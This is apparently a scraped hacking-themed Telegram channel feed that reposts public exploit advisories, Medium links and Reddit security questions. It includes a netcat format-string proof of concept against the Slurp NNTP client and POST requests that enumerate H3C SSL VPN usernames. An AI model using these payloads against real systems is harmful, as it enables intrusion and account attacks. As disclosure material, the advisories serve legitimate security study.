Hacking Articles Tips Tricks Videos Tutorials

Exploit Collector
Slurp 1.10.2 Format String

https://4.bp.blogspot.com/-JipZY3hUF7s/WWlu7l1ccBI/AAAAAAAAIJc/HAISYb4KBsQdeIf6OzzYRuXiYaIkpQnmACLcBGAs/s1600/h110.png
Slurp version 1.10.2 suffers from a format string vulnerability.

MD5 | c7e580d45afb71348edf920a4484967e

Download


# Exploit Title: Slurp 1.10.2 - Remote Format String  Date: 2022-02-12

# Author: Milad Karimi
slurp is a freely available, open source NNTP client. It is designed for use on most Unix and Linux operating systems.
It may be possible for a remote server to execute code on a vulnerable client. slurp offers functionality that allows the software to write messages to the system log. A format string vulnerability in the syslog function may allow a malicious server to supply a custom format string that writes to an arbitrary address in memory.
perl -e 'print "BY BY BY \n666 %x%x%x\n'" | nc -l -p 112
Then check /var/log/messages for something like:
slurp[39926]: do_newnews: NNTP protocol error: got '666 bfbff4f8804bc1bbfbff51c'

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Slurp 1.10.2 Format String

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

9 viewsedited 18:33

Hacking Articles Tips Tricks Videos Tutorials

Exploit Collector
Nagios XI Autodiscovery Shell Upload

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Nagios XI Autodiscovery Shell Upload

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

9 viewsedited 18:33

Hacking Articles Tips Tricks Videos Tutorials

8 views18:33

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
H3C SSL VPN Username Enumeration

https://4.bp.blogspot.com/-jEyO8wrBbtw/WWlvSr9oRmI/AAAAAAAAINg/irp20P4NPo4dOJoHHzIQ0XpAovWCMUh6wCLcBGAs/s1600/h38.png
H3C SSL VPN suffers from a username enumeration vulnerability during the login sequence.

MD5 | f614ad7c6ba6e189b449ed5dd7112196

Download


H3C SSL VPN Username Enumeration
Vendor: Hangzhou H3C Technologies Co. | New H3C Technologies Co., Ltd.
Product web page: https://www.h3c.com
Affected version: n/a

Summary: H3C SSL VPN is a secure VPN system based on SSL connections. It allows mobile employees
to access corporate networks remotely in an easy and secure way. The H3C SSL VPN devices are a
new generation of professional SSL VPN devices for enterprises. They can function as ingress
gateways as well as proxy gateways of internal server clusters. The SecPath SSL VPN devices are
for small-to medium-sized enterprises, while the SecBlade SSL VPN devices are for medium-sized
enterprises.

Desc: The weakness is caused due to the login script and how it verifies provided credentials. An
attacker can use this weakness to enumerate valid users on the affected application via 'txtUsrName'
POST parameter.

Tested on: ssl vpn gateway HttpServer 1.1
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2022-5697
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5697.php
24.01.2022

--
Non-valid:
----------

POST https://10.0.0.5/svpn/vpnuser/login_submit.cgi

txtMacAddr=000000000000&svpnlang=en&selIdentity=1&txtUsrName=root&txtPassword=123456&selDomain=1&authmethod=1&vldCode=
User is not exist
Valid:
------

POST https://10.0.0.5/svpn/vpnuser/login_submit.cgi

txtMacAddr=000000000000&svpnlang=en&selIdentity=1&txtUsrName=administrator&txtPassword=123456&selDomain=1&authmethod=1&vldCode=

Input password incorrect
Valid:
------

POST https://10.0.0.5/svpn/vpnuser/login_submit.cgi

txtMacAddr=000000000000&svpnlang=en&selIdentity=1&txtUsrName=guest&txtPassword=123456&selDomain=1&authmethod=1&vldCode=

Local user state is inactive

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

H3C SSL VPN Username Enumeration

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

6 viewsedited 18:33

Hacking Articles Tips Tricks Videos Tutorials

How to get into bug bounties — A list of resources by The XSS Rat
https://thexssrat.medium.com/how-to-get-into-bug-bounties-a-list-of-resources-by-the-xss-rat-4ad10dacd966?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Medium

How to get into bug bounties — A list of resources

Hello friends, I’ve seen this question come by often so I’ve decided to try and group all the resources of myself that I have about…

10 viewsedited 18:40

Hacking Articles Tips Tricks Videos Tutorials

9 views18:40

Hacking Articles Tips Tricks Videos Tutorials

Hello friends, I’ve seen this question come by often so I’ve decided to try and group all the resources of myself that I have about…Continue reading on Medium » (https://thexssrat.medium.com/how-to-get-into-bug-bounties-a-list-of-resources-by-the-xss-rat-4ad10dacd966?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Medium

How to get into bug bounties — A list of resources

Hello friends, I’ve seen this question come by often so I’ve decided to try and group all the resources of myself that I have about…

8 viewsedited 18:40

Hacking Articles Tips Tricks Videos Tutorials

hacking: security in practice
I created another OSINT tool to find Instagram places and posts based on their locaiton

Hi Everyone,

I hope you are doing well. Last week I created a tool for finding tweets based on locations (https://birdhunt.co/) and I have created an app that does the same for Instagram places/posts. It's completely free to use again, It is desktop only but would love to make it mobile-friendly in the future.

the new tool can be found here: https://instahunt.co/

It would be great to hear your thoughts and feedback!

submitted by /u/LibertyProgram
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

I created another OSINT tool to find Instagram places and posts...

Hi Everyone, I hope you are doing well. Last week I created a tool for finding tweets based on locations...

12 viewsedited 18:51

Hacking Articles Tips Tricks Videos Tutorials

https://external-preview.redd.it/XgKCLfVCBI9E5iWKPvzE9yEVWbK32k_iDwn4g2_qjMw.jpg?width=640&crop=smart&auto=webp&s=647acfb76dc4b9fb247006b2dca58f96627e4509 Started down this rabbit hole to try and make a dumb remote smart. Anything to spoof button presses and also has a web interface takes too much power since it runs on 3XAAA, so I started trying to clone the dumb state signals. Picked up an RTLSDR dongle and confirmed that the transmissions are at 417.9 Mhz. Pic below of what one of the signals looks like in URH. Even if I could identify the proper code, I have no idea how to transmit at that frequency. The controller has a custom programmed RFM110 transmitter. Thoughts on how I could proceed?

https://preview.redd.it/jfca9ixupth81.png?width=1023&format=png&auto=webp&s=eaaa9207f34504fe81bcaafa0a1ec774efdcfad9

submitted by /u/moose09876
[link] [comments]

10 views18:51

Hacking Articles Tips Tricks Videos Tutorials

hacking: security in practice
is it illegal to make a virus that reminds people not to run strange files?

my plan is to make a virus that spreads itself but the only thing it open is a window with the text "please dont run random/strange .exe files on your pc what you've ran now couldve been malware this virus didnt do anything to your pc stay safe"?

EDIT: thx for the fast answers thought to make it as a small project to remind people to not run random stuff from the internet but as you may know i cant do it in prison

submitted by /u/TheHolyTachankaYT
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

is it illegal to make a virus that reminds people not to run...

my plan is to make a virus that spreads itself but the only thing it open is a window with the text "please dont run random/strange .exe files on...

9 viewsedited 18:51

Hacking Articles Tips Tricks Videos Tutorials

hacking: security in practice
How to clear apps data without any exceptions using shell or by meterpreter session?

I want to do it through shell or through meterpreter session!

I just want to clear app data or to reinstall the app..

I tried uninstalling app using meterpreter:-

I tried using "app_uninstall package_name" but shows uninstall dialog option on the screen to do it manually...

Is there a way to clear app data or to uninstall an app without any exception and without accessing root?

(The phone is not rooted)

(For educational purpose)

submitted by /u/QinnStar
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

How to clear apps data without any exceptions using shell or by...

I want to do it through shell or through meterpreter session! I just want to clear app data or to reinstall the app.. I tried uninstalling app...

8 viewsedited 18:52

Hacking Articles Tips Tricks Videos Tutorials

hacking: security in practice
Can we clear any app data using a shell script?

If so then can someone give me the script?

submitted by /u/QinnStar
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Can we clear any app data using a shell script?

If so then can someone give me the script?

7 viewsedited 18:52

Hacking Articles Tips Tricks Videos Tutorials

hacking: security in practice
Does anyone know how to get into an old Microsoft account??

ok so i have an old Microsoft account that i need to regain access too but no longer have the password and its so old there are no security systems in place like a phone or backup Email linked to it. . i have tried going through Microsofts shitty password recovery system but I never had an Xbox account, an Outlook or Hotmail and i do have an old skype but i don't think it was ever linked to the account as it was made before they acquired Skype. . .
i have tried going through their support but its shit and they just did the stupid password recovery system I tried and told them failed. .

Does anyone know a way different way I can recover this account? to be clear I'm not asking to hire anyone. . as I am not tech-savvy enough for that and dont want to get my other information compromised. .
all I want is to know if there is another way I can maybe contact Microsoft or some other way I can regain access to this account??

submitted by /u/V7I_TheSeventhSector
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Does anyone know how to get into an old Microsoft account??

ok so i have an old Microsoft account that i need to regain access too but no longer have the password and its so old there are no security...

10 viewsedited 18:52

Hacking Articles Tips Tricks Videos Tutorials

Hacking on Medium
Gmail user enumeration

A couple of years ago I stumbled across this article. The person who authored the page found an API end point that if a valid Gmail email…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Medium

Gmail user enumeration

A couple of years ago I stumbled across this article. The person who authored the page found an API end point that if a valid Gmail email…

7 viewsedited 20:30

Hacking Articles Tips Tricks Videos Tutorials

Hacking on Medium
Coinbase invierte millones en mostrar un QR durante la Super Bowl y le sale el tiro por la culata…

https://cdn-images-1.medium.com/max/1275/0*zkjIQvSteB7Ywuwb
Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Medium

Coinbase invierte millones en mostrar un QR durante la Super Bowl y le sale el tiro por la culata: la web se cae en segundos

Coinbase, uno de los mayores mercados de criptomonedas del mundo, se ha convertido esta pasada noche en uno de las grandes sensaciones de la pausa publicitaria de la Super Bowl. Esto es, de los…

9 viewsedited 20:30

Hacking Articles Tips Tricks Videos Tutorials

Hacking on Medium
Noticias cripto de la semana: Colombia, Super Bowl y recuperan BTC robados

https://cdn-images-1.medium.com/max/1500/1*zohqifvH05XYR8oryRCgXw.png
La industria cripto continúa su evolución. Conoce las noticias de criptomonedas más relevantes de la segunda semana de febrero.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video